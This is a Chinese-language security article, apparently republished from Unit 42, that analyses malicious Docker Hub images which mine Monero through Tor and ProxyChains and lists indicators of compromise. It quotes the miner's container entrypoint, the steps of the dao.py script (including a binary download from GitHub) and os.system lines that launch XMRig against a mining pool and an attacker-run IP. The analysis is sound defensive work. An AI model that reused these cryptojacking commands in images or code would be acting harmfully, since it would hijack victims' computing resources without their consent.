freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Docker恶意镜像挖矿分析
2020-07-06 11:35:06
过去几年中Docker容器作为打包软件应用的有效方法受到大家青睐,Docker Hub为用户和公司提供了强大的community模型来共享软件应用。但这也吸引了攻击者的注意,他们在Docker容器内进行劫持并使用Docker Hub传播镜像来获利。

发现

目前已经确定了一个恶意Docker Hub帐户azurenql,该帐户自2019年10月以来一直保持活跃。该帐户托管了六个挖矿(Monero)恶意映像,挖掘代码通过ProxyChains和Tor匿名化工具逃避网络检测。
此帐户上托管的镜像已被下载超过200万次,其中一个钱包ID已赚取超过525.38 XMR,相当于36,000美元,在minexmr.com上查看该钱包ID时,发现该钱包仍在使用中。下表提供了此Docker Hub帐户下所有镜像的摘要,并按其提取次数降序排列。 
排名第一的镜像已被下载147万多次。

分析

镜像搭建

为了了解如何构建镜像,研究人员构建了azurenql /227_135:442镜像:
1、使用Ubuntu 16.04.6 LTS作为“基础镜像”。
2、安装所需依赖项,例如gcc,make,python等。
3、安装Tor匿名化流量,默认端口9050。
 

脚本分析

镜像中包含一个名为dao.py的自定义Python脚本,该脚本负责启动容器内的挖矿进程。
 "Entrypoint": [
                "/bin/sh",
                "-c",
                "python /etc/dao.py"
],​
表1中提到的所有Docker映像都包含此dao.py脚本,脚本之间的区别是使用不同的XMRig命令行进行调用。 表2列出了不同的XMRig命令行调用。
dao.py脚本执行流程:
1、查找系统上的CPU内核数;
2、设置hugepages系统属性以提高hash rate;
3、安装Tor并建立依赖关系;
4、如果尚未安装proxychains-ng,从https://github.com/rofl0r/proxychains-ng.git安装;
5、如果/usr/local/bin中不存在XMRig二进制文件(“ dlls”),从https://github.com/nguyennhatduy2608/azures/raw/master/下载;
6、在/usr/local/bin and /usr/bin下对XMRig二进制文件(“dll”)进行符号链接;
7、后台启动Tor;
8、通过代理启动矿工,矿工将通过本地Tor SOCKS代理矿工流量。
工作流程图如下:

挖矿方式

镜像利用受害系统的处理能力来验证交易,主要使用两种方法在用户环境中挖掘区块。第一种方法是使用钱包ID将已开采的区块直接提交到中央minexmr池。
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o 
stratum+tcp://pool.minexmr.com:4444 -u 
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')
在Monero矿池(minexmr.com)上查找该钱包ID的交易时发现其仍在使用。下图显示了该钱包在2020年4月和2020年5月的活动。
下图表明此钱包ID已赚取525.38 XMR,大约相当于36,000美元。
第二种方法是将实例部署在运行自己的挖掘池服务上。
os.system ('proxychains4 ' + program + ' --donate-level 1 -o 
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))

总结

Docker为打包软件提供了便捷方式,攻击者将其与挖矿结合,把恶意镜像分发到任何支持Docker的机器,并使用其计算资源进行挖矿。
目前发现的恶意镜像签名详细信息是:
用户应避免从不受信任的存储库中提取或使用基本镜像。

IOCs

镜像

挖矿基础设施

Wallet ID
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf
Hostname:Port
73avhutb24chfsh6[.]onion:442
5pwcq42aa42fjzel[.]onion:442
pool[.]minexmr.com:4444
IP:Port
66[.]42.93.164:442
155[.]138.234.122:442
155[.]138.227.135:442
66[.]42.53.57:442
144[.]202.23.108:4444
dao.py script hashes
3a04405e8377dd1f159949e8acb0fa590fff965a871dc7cdc434216a4c253d1f
937d59ca356cac225c66b956d521ceaf60a4830584eea7941e378087391e0d8b
b7e07fc8eaed7b1abbd70a5b8b7b885a1dd0012498e9389b9db9fdc46cd26ef9
de518f16907ee056af49f60f098101a97cad7bcf76833169bbdfd89c06b6da93
81496a54fe3f9a7aace5b282e42853002fa2fde74a8782205edbd0106b0b8acd
5d1cb23f8f0ecd82769e9d346a06851927ac9738af1d0173c85f5457ffbde71c
Docker Hub account
hub.docker.com/u/azurenql

参考来源

unit42

# 系统安全 # 系统安全 # Docker
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者